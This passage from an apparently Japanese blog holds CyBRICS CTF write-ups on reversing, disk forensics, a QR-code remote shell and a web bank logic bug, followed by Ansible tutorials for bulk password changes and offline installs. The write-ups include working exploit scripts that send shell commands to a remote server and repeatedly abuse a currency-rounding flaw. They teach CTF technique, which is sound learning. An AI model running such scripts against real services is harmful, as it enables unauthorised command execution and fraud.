encode(System.getProperty("user.name").getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); byte abyte3[] = decode(abyte2, System.getProperty("user.name")); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のコードを書き換えて、本来のユーザ名を特定します。
import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Matreshka { Matreshka() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; byte dec_abyte1[] = decode(abyte1, s); System.out.println(new String(dec_abyte1)); } }
上記のプログラムを実行して確認すると、「lettreha」が本来のユーザ名だと分かりました。
PS> javac .\Matreshka.java PS> java Matreshka lettreha
元のソースコードの System.getProperty("user.name")
のところを「lettreha」に置き換えました。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; String username = "lettreha"; // byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s); byte abyte0[] = encode(username.getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); // byte abyte3[] = decode(abyte2, System.getProperty("user.name")); byte abyte3[] = decode(abyte2, username); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のプログラムを実行すると、「stage2.bin」というファイルが生成されました。
PS> javac .\Code2.java PS> java Code2
2つ目のファイルは、ELFファイルのようです。
$ file stage2.bin stage2.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
とりあえず、実行してみましたが、やはり「Fail」と表示されるようです。
$ ./stage2.bin Fail
まずは、gdb-pedaで「Fail」の表示箇所を見つけます。 writeシステムコールでbreakさせて、少しステップ実行してみます。
gdb-peda$ catch syscall 1
gdb-peda$ r
すると、エラーを表示していそうな箇所を見つけることができました。
[----------------------------------registers-----------------------------------] RAX: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RBX: 0x427890 (<runtime.printunlock+96>: jmp 0x427830 <runtime.printunlock>) RCX: 0xc0000003b1 --> 0x100000000000001 RDX: 0x0 RSI: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RDI: 0x2 RBP: 0xc00002a788 --> 0xc00002a790 --> 0x428737 (<runtime.main+519>: mov eax,DWORD PTR [rip+0x121b93] # 0x54a2d0 <runtime.runningPanicDefers>) RSP: 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) RIP: 0x47630d (<main.main+861>: mov rbp,QWORD PTR [rsp+0xb8]) R8 : 0x5 R9 : 0x5 R10: 0x5 R11: 0x206 R12: 0xc ('\x0c') R13: 0xb ('\x0b') R14: 0x200 R15: 0x200 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4762fa <main.main+842>: mov QWORD PTR [rsp+0x8],0x5 0x476303 <main.main+851>: call 0x4280d0 <runtime.printstring> 0x476308 <main.main+856>: call 0x427830 <runtime.printunlock> => 0x47630d <main.main+861>: mov rbp,QWORD PTR [rsp+0xb8] 0x476315 <main.main+869>: add rsp,0xc0 0x47631c <main.main+876>: ret 0x47631d <main.main+877>: call 0x44ea40 <runtime.morestack_noctxt> 0x476322 <main.main+882>: jmp 0x475fb0 <main.main> [------------------------------------stack-------------------------------------] 0000| 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) 0008| 0xc00002a6d8 --> 0x5 0016| 0xc00002a6e0 --> 0x4 0024| 0xc00002a6e8 --> 0x4 0032| 0xc00002a6f0 --> 0xc000014088 --> 0x746f6f72 ('root') 0040| 0xc00002a6f8 --> 0x4 0048| 0xc00002a700 --> 0x8 0056| 0xc00002a708 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value main.main () at /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go:25 25 /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go: No such file or directory. gdb-peda$
アドレスが分かったので、Ghidraで対象のアドレス(0x47630d)を見てみます。
エラー表示をしていそうな関数(runtime.printstring())が見つかりました。 その少し上には、io/ioutil.WriteFile() や crypto/rc4.() などがあり、そこがメインのコードになっていそうです。 その場所(0x476181)にgdb-pedaで無理やりjumpしてみます。
gdb-peda$ b *0x476126 gdb-peda$ b *0x476181 gdb-peda$ r gdb-peda$ jump *0x476181 gdb-peda$ c
すると、また新たに「result.pyc」という名前のファイル生成されました。
$ file result.pyc result.pyc: data
また、今回はそのまま実行することができませんでした。
$ python3 result.pyc
RuntimeError: Bad magic number in .pyc file
拡張子的には、pycファイルとなっているので、とりあえずデコンパイルしてみます。 今回は、下記のサイトで行いました。
デコンパイル結果は、以下の通りとなります。
def decode(data, key): idx = 0 res = [] for c in data: res.append(chr(c ^ ord(key[idx]))) idx = (idx + 1) % len(key) return res flag = [ 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15] print('Enter key to get flag:') key = input() if len(key) != 8: print('Invalid len') quit() res = decode(flag, key) print(''.join(res))
どうやらフラグは、8文字の文字列をキーとしたxor暗号で暗号化されているようです。
ただし、今回のフラグの初めの8文字は、cybrics{
であることが分かっています。
cybrics{
と 暗号化されたフラグでxorを取れば、キーが求められそうです。
CyberChefを使ってキーを求めてみます。
以上の結果から、今回のxorキーは、「Kr0H4137」だということが分かりました。 「Kr0H4137」を使って、フラグを復号することができました。
FLAG
cybrics{M4TR35HK4_15_B35T}
Disk Data (Forensic, Easy, 56 pts)
問題
Disk dump hides the flag. Obtain it
data2.zip.torrent
解答例
添付されたtorrentファイルからzipファイルをダウンロードし、展開するとExt4ファイルシステムのディスクイメージが出てきました。
$ file data2.bin data2.bin: Linux rev 1.0 ext4 filesystem data, UUID=a795f441-a210-45b1-885b-ff53d3ca0a61 (extents) (huge files)
「data2.bin」をAutopsyで開いてみました。 しばらく漁っていると、「.bash_history」を見つけました。 コマンド履歴を見てみると、どこからかwgetで画像ファイルをダウンロードし、 ImageMagickのconvertコマンドで画像の一部を白く塗りつぶしているのが確認できました。
ls ls -anl bash su rev read -r URL cd Downloads/ wget $URL eog kTd0T9g.png convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png eog kTd0T9g.png ync sync ls -anl cd Downloads/ wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz wget https://github.com/geohot/qira/archive/v1.3.zip unzip v1.3.zip ls tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz
編集された画像を見てみると、コマンド履歴の通り左上が白く塗りつぶされています。 画像を直接編集しているので復元できそうにありません。
さらに調査を進めると、ファイルのメタデータであるファイル拡張属性(user.xdg.origin.url)にURL(https://i.imgur.com/kTd0T9g.png)が残っていることに気が付きました。
実際にアクセスしてみると、白く塗りつぶされる前の画像が出てきました。 左上にフラグも確認できます。
FLAG
cybrics{A11W4Y5_D1G_D33P3R}
QShell (Cyber, Easy, 50 pts)
問題
QShell is running on
nc spbctf.ppctf.net 37338Grab the flag
解答例
nc spbctf.ppctf.net 37338
で接続してみると、以下のようにQRコードが表示されます。
QRコードを読み取ると、プロンプトが出てきました。
sh-5.0$
.
を入力してみると、「tile cannot extend outside image」とエラーが出てきました。
エラーの文章から推測すると、こちらも同じ形式でコマンドを送信しなけらばならないようです。
また、 .
以外の文字列だと反応しないことから、 .
がコマンドの終端となっているようです。
QRコードをいちいち作るのは面倒くさいので、下記のサイトを参考し、qrencodeを使ってQRコードを生成させました。
qrencodeのインストールは、下記コマンドでできます。
$ sudo apt-get install qrencode
以下のコマンドで、自由に文字列をQRコードに変換することができます。
$ qrencode -t ASCIIi "ls" ########################################################## ########################################################## ########################################################## ########################################################## ######## ###### ## ## ######## ######## ########## ## ## ## ## ########## ######## ######## ## ## ## ## #### ## ## ######## ######## ## ## ########## ## ## ## ######## ######## ## ## ## ## ## ## ######## ######## ########## ## ###### ########## ######## ######## ## ## ## ## ######## ######################## ################################ ######## ## #### #### ## ## ########## ######## ###### #### ## ## ## #### ######## ############ ###### #### ## #### #### ######## ############## #### #### ## #### ######## ########## #### ## ## #### ########## ######################## ###### ## ## ## ######## ######## ## ## ## ## ########## ######## ########## #### ######## ###### ######## ######## ## ## #### #### ###### ######## ######## ## ## ## ## #### ###### ######## ######## ## ## ###### ## ## ## ######## ######## ########## ## #### #### ## ############## ######## ## #### ## #### ########## ########################################################## ########################################################## ########################################################## ##########################################################
qrencodeの実行結果をpythonスクリプトに貼り付けて、QR送信用のプログラムを作成しました。 まずは、lsコマンド送信用のプログラムを作成しました。
from pwn import * qr_ls = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## ###### ## ## ########", \ "######## ########## ## ## ## ## ########## ########", \ "######## ## ## ## ## #### ## ## ########", \ "######## ## ## ########## ## ## ## ########", \ "######## ## ## ## ## ## ## ########", \ "######## ########## ## ###### ########## ########", \ "######## ## ## ## ## ########", \ "######################## ################################", \ "######## ## #### #### ## ## ##########", \ "######## ###### #### ## ## ## #### ########", \ "############ ###### #### ## #### #### ########", \ "############## #### #### ## #### ########", \ "########## #### ## ## #### ##########", \ "######################## ###### ## ## ## ########", \ "######## ## ## ## ## ##########", \ "######## ########## #### ######## ###### ########", \ "######## ## ## #### #### ###### ########", \ "######## ## ## ## ## #### ###### ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## #### #### ## ##############", \ "######## ## #### ## #### ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black = "\x20" for i in range(len(qr_ls)): qr = qr_ls[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、新たにQRコードが返ってきました。 少しバグっているようですが、問題なく読み取れました。
QRコードを読み取ると、以下の通りになっていました。
1.py 2.py docker-compose.yml Dockerfile flag.txt log.txt qweqwe.png rex.txt runserver.sh run.sh
次に、「cat flag.txt」という文字列をQRコードに変換し、送信用のプログラムを調整しました。
from pwn import * qr_cat_flag = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## #### #### ## ########", \ "######## ########## ## #### #### ########## ########", \ "######## ## ## #### ######## ## ## ########", \ "######## ## ## ## #### #### ## ## ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## ## ## ########## ########", \ "######## ## ## ## ## ########", \ "############################ ########################", \ "######## ## #### ## ## ## ##########", \ "######## ## ######## #### ## ## ## ########", \ "########## #### ## ## ## #### ##########", \ "######## ## ## #### ## ############ ########", \ "######## #### #### ###### #### ## ##############", \ "######################## ###### ## ########", \ "######## ## ###### ## ###### ##########", \ "######## ########## #### #### ## #### ############", \ "######## ## ## ## ## ## #### ########", \ "######## ## ## ## ## ## ## ## ############", \ "######## ## ## ## ## ########## ############", \ "######## ########## ## ###### ## ############", \ "######## ## ## #### ######## ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black= "\x20" for i in range(len(qr_ls)): qr = qr_cat_flag[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、またQRコードが返ってきました。
QRコードを読み取ると、フラグとなっていました。
FLAG
cybrics{QR_IS_MY_LOVE}
Bitkoff Bank (Web, Easy, 50 pts)
問題
Need more money! Need the flag!
http://45.77.201.191/index.php
Mirror: http://95.179.148.72:8083/index.php
解答例
リンクにアクセスすると、ユーザ名とパスワードの登録画面に飛ばされます。
登録するとメニュー画面に遷移します。
「MINE BTC」ボタンを押すと、自分のBTCが少しだけ増えます。
「change」ボタンでBTCとUSDの交換をすることができます。 最終的に、$1をどうにかして集めて、フラグを購入することが目標となるようです。
色々調査を進めてみると、USDとBTCの何度かの交換で、少しづつ増えていくことに気が付きました。
そこで、nodejsで以下の動作をするプログラムを作成しました。
- BTC(0.00001)をUSDに変換する
- USD(0.1)をBTCに変換する。
- USDが1以上になるまで、上記を繰り返す。
'use strict'; const request = require('request'); function send(error, response, body) { if (error) { console.log(error); return; } const usd = body.split('<b>')[1].split('</b>')[0]; const btc = body.split('<b>')[2].split('</b>')[0]; console.log('usd: ' + usd + '\tbtc: ' + btc); if (usd > 1) process.exit(0); } const options = { url: 'http://95.179.148.72:8083/index.php', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'name=bitcoin_user; password=bitcoin_pass' }, form: { 'from_currency': '', 'to_currency': '', 'amount': 0 } } setInterval(() => { options.form = { 'from_currency': 'btc', 'to_currency': 'usd', 'amount': 0.00001 }; request(options, send); options.form = { 'from_currency': 'usd', 'to_currency': 'btc', 'amount': 0.1 }; request(options, send); }, 100);
上記のプログラムを実行すると、下記の通りになります。
$ node bitcoin.js 省略 usd: 0.784832 btc: 0.000024 usd: 0.684832 btc: 0.0000332 usd: 0.793888 btc: 0.0000232 usd: 0.793888 btc: 0.0000232 usd: 0.902944 btc: 0.0000132 usd: 0.902944 btc: 0.0000132 usd: 1.012 btc: 0.0000032
$1を越えたので、「buy flag ($1)」で購入すると、フラグが表示されました。
FLAG
cybrics{50_57R4n93_pR3c1510n}
Ansibleでパスワードを一括変更する(Linux編)
はじめに
2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。
大会の中で、大量のユーザ(最低100アカウント)のパスワードを短時間で変更しなければならない機会がありました。 Ansibleを使えば、複数のPCのユーザを一括で変更することができます。 今回は、Andibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介します。
環境構築
検証環境
- Windows 10(192.168.10.100)
- Windows10 バージョン 1903(OSビルド 18362.207)
- Debian 9.5(WSL用のDebianディストリビューション 1-1-3-0_x64)
- Ansible 2.2.1.0
- CentOS 7(192.168.10.2)
- Debian 9(192.168.10.3)
Ansibleをインストールする
- Ansibleをインストールする
$ sudo apt-get install ansible
- インストール完了確認
$ ansible --version ansible 2.2.1.0 config file = /etc/ansble/ansble.cfg configured module search path = Default w/o overrides
※ オフラインでインストールしたい場合は、下記のページを参考にしてください。
制御対象のPCに疎通確認をする
- Ansibleで管理するクライアントを登録する。
今回は、linuxというグループ名で登録する。$ vi hosts [linux] 192.168.10.2 ansible_ssh_user='{{ srv1[1].name }}' ansible_ssh_pass='{{ srv1[1].password }}' ansible_become_pass='{{ srv1[0].password }}' 192.168.10.3 ansible_ssh_user='{{ srv2[1].name }}' ansible_ssh_pass='{{ srv2[1].password }}' ansible_become_pass='{{ srv2[0].password }}'
- パスワードリストを作成する。
ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。$ ansible-vault create current_user_password.yml srv1: # Become User - name: root password: P@ssw0rd1 # Login User - name: user1 password: P@ssw0rd1 # Other Users - name: user2 password: P@ssw0rd1 - name: user3 password: P@ssw0rd1 - name: user4 password: P@ssw0rd1 - name: user5 password: P@ssw0rd1 - name: user6 password: P@ssw0rd1 - name: user7 password: P@ssw0rd1 - name: user8 password: P@ssw0rd1 - name: user9 password: P@ssw0rd1 srv2: # Become User - name: root password: P@ssw0rd1 # Login User - name: user1 password: P@ssw0rd1 # Other Users - name: user2 password: P@ssw0rd1 - name: user3 password: P@ssw0rd1 - name: user4 password: P@ssw0rd1 - name: user5 password: P@ssw0rd1 - name: user6 password: P@ssw0rd1 - name: user7 password: P@ssw0rd1 - name: user8 password: P@ssw0rd1 - name: user9 password: P@ssw0rd1
- linuxグループに登録したクライアント全体にPingを送信する。
$ ansible -i hosts linux -m ping --ask-vault-pass -e@current_user_password.yml 192.168.10.2 | SUCCESS => { "changed": false, "ping": "pong" } 192.168.10.3 | SUCCESS => { "changed": false, "ping": "pong" }
パスワードを一括変更する
- 新パスワード用のパスワードリストを作成する。
ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。$ ansible-vault create new_user_password.yml new_srv1: # Become User - name: root password: HvXGiYp843fH # Login User - name: user1 password: iddxgw4UPWHV # Other Users - name: user2 password: LfNRawjwdWFz - name: user3 password: qyWfmgYBNE4h - name: user4 password: u7E6JV9GJrsa - name: user5 password: ew85Uji6hJbY - name: user6 password: 5qumZFn9Bfdr - name: user7 password: ra9ampz3Khur - name: user8 password: FqV7fKsSzfKC - name: user9 password: zv2Ld32zFJBM new_srv2: # Become User - name: root password: thdEMxG5hFLY # Login User - name: user1 password: QXDpkbJdZh4K # Other Users - name: user2 password: t7JQmQFwbWFx - name: user3 password: qRuPadS9sLTN - name: user4 password: U8QHRabhjdyQ - name: user5 password: XGLGvX8h9z22 - name: user6 password: BLrDZfcCWVSU - name: user7 password: S6sYCFDe9Y66 - name: user8 password: Rf2i4zJ3AhU7 - name: user9 password: kj6hQUjFnheN
- パスワード変更用のPlaybookを作成する。
-
パスワード変更手順
- rootのパスワードだけ変更する。
- becomeで権限を変更する際に使用するパスワードを新しいパスワードに置き換える。
- root以外のユーザのパスワードを変更する。
-
各キーの意味
- become:yesにすると、権限を変更してくれる。
- become_method:権限変更のメソッドを選択する(su もしくは sudo)
- no_log:yesにすると、変更されたパスワードがログに残らないようになる。
- vars_files:外部ファイル(パスワードリスト)を指定する。
- user:ユーザの管理ができる
- set_fact:fact(ansible_xxx形式のもの)値の書換えができる
$ vi change_password.yml - hosts: 192.168.10.2 become: yes become_method: su no_log: yes vars_files: - new_user_password.yml tasks: - name: change root's password user: name: "{{ new_srv1[0].name }}" password: "{{ new_srv1[0].password | password_hash('sha256') }}" - name: set new root's password set_fact: ansible_become_pass: "{{ new_srv1[0].password }}" - name: change password user: name: "{{ item.name }}" password: "{{ item.password | password_hash('sha256') }}" when: item.name != "{{ new_srv1[0].name }}" with_items: - "{{ new_srv1 }}" - hosts: 192.168.10.3 become: yes become_method: su no_log: yes vars_files: - new_user_password.yml tasks: - name: change root's password user: name: "{{ new_srv2[0].name }}" password: "{{ new_srv2[0].password | password_hash('sha256') }}" - name: set new root's password set_fact: ansible_become_pass: "{{ new_srv2[0].password }}" - name: change password user: name: "{{ item.name }}" password: "{{ item.password | password_hash('sha256') }}" when: item.name != "{{ new_srv2[0].name }}" with_items: - "{{ new_srv2 }}"
-
パスワード変更手順
- Playbookの実行結果
$ ansible-playbook -i hosts change_password.yml --ask-vault-pass -e@current_user_password.yml PLAY [192.168.10.2] ************************************************************ TASK [setup] ******************************************************************* ok: [192.168.10.2] TASK [change root's password] ************************************************** changed: [192.168.10.2] TASK [set new root's password] ************************************************* ok: [192.168.10.2] TASK [change password] ********************************************************* skipping: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) PLAY [192.168.10.3] ************************************************************ TASK [setup] ******************************************************************* ok: [192.168.10.3] TASK [change root's password] ************************************************** changed: [192.168.10.3] TASK [set new root's password] ************************************************* ok: [192.168.10.3] TASK [change password] ********************************************************* skipping: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) PLAY RECAP ********************************************************************* 192.168.10.2 : ok=4 changed=2 unreachable=0 failed=0 192.168.10.3 : ok=4 changed=2 unreachable=0 failed=0
おわりに
今回は、Ansibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介しました。 Ansibleは、パスワード変更だけでなく、FWの設定やアップデートなど様々な自動化が行える構成管理ツールです。 Hardeningでも役に立った便利なツールなので、ぜひ試してみてください。
参考にしたサイト
オフラインのWindows10環境にAnsibleを導入する方法
- はじめに
- 検証環境
- 事前準備
- 導入手順
- おわりに
- 参考にしたサイト
はじめに
2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。
大会の中で、オフライン環境のWindiws10にAnsibleをインストールしなければならない機会がありました。 AnsibleをWindows10環境で動作させるためには、大まかに以下の3つの手順が必要です。
オフライン環境に導入するためには、少し面倒くさい手順が必要です。 大会当日に準備できなかった人が多かったみたいだったので、導入手順を紹介します。
検証環境
- Windows10 バージョン 1903(OSビルド 18362.207)
- Debian 9.5(WSL用のDebianディストリビューション 1-1-3-0_x64)
- Ansible 2.2.1.0
事前準備
オンライン環境で事前にパッケージをダウンロードしておく必要があります。 Ansibleやpywinrmは、依存しているパッケージがたくさんあり、準備だけでもかなり面倒くさいです。
1. WSL用のDebianディストリビューションパッケージのダウンロード
- 以下のコマンドでダウンロードする
PS1> Invoke-WebRequest -Uri https://aka.ms/wsl-debian-gnulinux -OutFile DeianGNULinux.Appx -UseBasicParsing
- もしくは、以下のリンク先にある Debian GNU/Linux からダウンロードする。 docs.microsoft.com
2. Ansibleに必要なパッケージのダウンロード
2-1. 依存パッケージをすべてダウンロードするためのスクリプトを用意する
Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape を参考にしました。
- apt-rdepends(依存パッケージを表示するツール)をインストールする。
$ sudo apt-get install apt-rdepends
- 依存パッケージをすべてダウンロードするためのスクリプト(download_deb_package.sh)を用意する。
#!/bin/sh if [ $# -ne 1 ]; then prog=`basename ${0}` echo "usage: ${prog} <package>" exit 1 fi TMP=`mktemp -t a.sh.XXXXXX` trap "rm $TMP* 2>/dev/null" 0 check_virtual_package() { apt show $1 2> /dev/null | grep "not a real package" > /dev/null return $? } get_provide_package() { apt install -s $1 > ${TMP} 2> /dev/null local state=0 local pkgs="" while read line; do if [ "${line}x" = "Package $1 is a virtual package provided by:x" ]; then state=1 elif [ ${state} -eq 1 -a -n "${line}" ]; then pkg=`echo ${line} | awk '{ print $1 }'` echo ${pkg} | grep -v ':i386' > /dev/null && pkgs="${pkg} ${pkgs}" fi done < ${TMP} echo "${pkgs}" } get_depend_package() { local pkgs="" local pkg="" for pkg in `apt-rdepends $1 2> /dev/null | grep -v "^ "`; do check_virtual_package ${pkg} if [ $? -eq 0 ]; then pkg=`get_provide_package ${pkg}` fi pkgs="${pkgs} ${pkg}" done echo "${pkgs}" } download_deb_package() { local pkgs="" pkgs=`get_depend_package $1` apt download ${pkgs} } download_deb_package $1
- 上記のスクリプトに実行権限を付与する。
$ chmod +x ./download_deb_package
2-2. ansibleに必要なパッケージをダウンロードする
(debパッケージ)
- ansible(必須)
$ mkdir ansible_deb_packages $ cd ansible_deb_packages $ sudo ../download_deb_package ansible
- python-pip(AnsibleでWindowsも制御したい場合のみ)
$ mkdir python-pip_deb_packages $ cd python-pip_deb_packages $ sudo ../download_deb_package python-pip
- gcc(AnsibleでWindowsも制御したい場合のみ)
$ mkdir gcc_deb_packages $ cd gcc_deb_packages $ sudo ../download_deb_package gcc
- python2.7-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir python2.7-dev_deb_packages $ cd python2.7-dev_deb_packages $ sudo ../download_deb_package python2.7-dev
- libffi-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir libffi-dev_deb_packages $ cd libffi-dev_deb_packages $ sudo ../download_deb_package libffi-dev
- libssl-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir libssl-dev_deb_packages $ cd libssl-dev_deb_packages $ sudo ../download_deb_package libssl-dev
2-3. ansibleに必要なパッケージをダウンロードする
(pipパッケージ)
- setuptools(AnsibleでWindowsも制御したい場合のみ)
$ mkdir setuptools_pip_packages $ cd setuptools_pip_packages $ pip download -d . --no-binary :all: setuptools
- wheel(AnsibleでWindowsも制御したい場合のみ)
$ mkdir wheel_pip_packages $ cd wheel_pip_packages $ pip download -d . --no-binary :all: wheel
- pywinrm(AnsibleでWindowsも制御したい場合のみ)
$ mkdir pywinrm_pip_packages $ cd pywinrm_pip_packages $ pip download -d . --no-binary :all: pywinrm
導入手順
1. WSLのインストール
1-1. WSL(Windows Subsystem for Linux)を有効にする
- 管理者モードでPowerShellを開き、以下のコマンドを入力する。
PS> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
- コンピュータを再起動する。
1-2. WSL用のDebianを起動する
- 事前に用意したDebianディストリビューションパッケージを持ってくる。
- PowerShellで以下のコマンドを実行し、Debianを起動する。
PS> Rename-Item DebianGNULinux.Appx DebianGNULinux.zip PS> Expand-Archive DebianGNULinux.zip PS> .\DebianGNULinux\debian.exe
- ユーザ名とパスワードを設定する。
2. Ansibleのインストール
- 事前に用意したAnsible用のdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd ansible_deb_packages $ sudo dpkg -i --force-depends *.deb
3. python-pipのインストール
(AnsibleでWindowsも制御したい場合のみ)
3-1. python-pipをインストールする
- 事前に用意したpython-pip用のdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd python-pip_deb_packages $ sudo dpkg -i --force-depends *.deb
3-2. setuptoolsをアップデートする
- 事前に用意したsetuptoolsのpipパッケージを持ってくる。
- setuptoolsをアップデートする。
$ sudo pip install --upgrade setuptools-41.0.1.zip
※ ちなみにアップデートしないと、以下のようなエラーが出てしまいます。Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-3l_UOj-build/
4. winrmのインストール
(AnsibleでWindowsも制御したい場合のみ)
4-1. wheelをインストールする
- 事前に用意したwheelのpipパッケージを持ってくる。
- wheelをインストールする。
$ pip install wheel-0.33.4.tar.gz
4-2. gccをインストールする
- 事前に用意したgccのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd gcc_deb_packages $ sudo dpkg -i --force-depends *.deb
4-3. python2.7-devをインストールする
- 事前に用意したpython2.7-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd python2.7-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-4. libffi-devをインストールする
- 事前に用意したlibffi-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd libffi-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-5. libssl-devをインストールする
- 事前に用意したlibssl-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
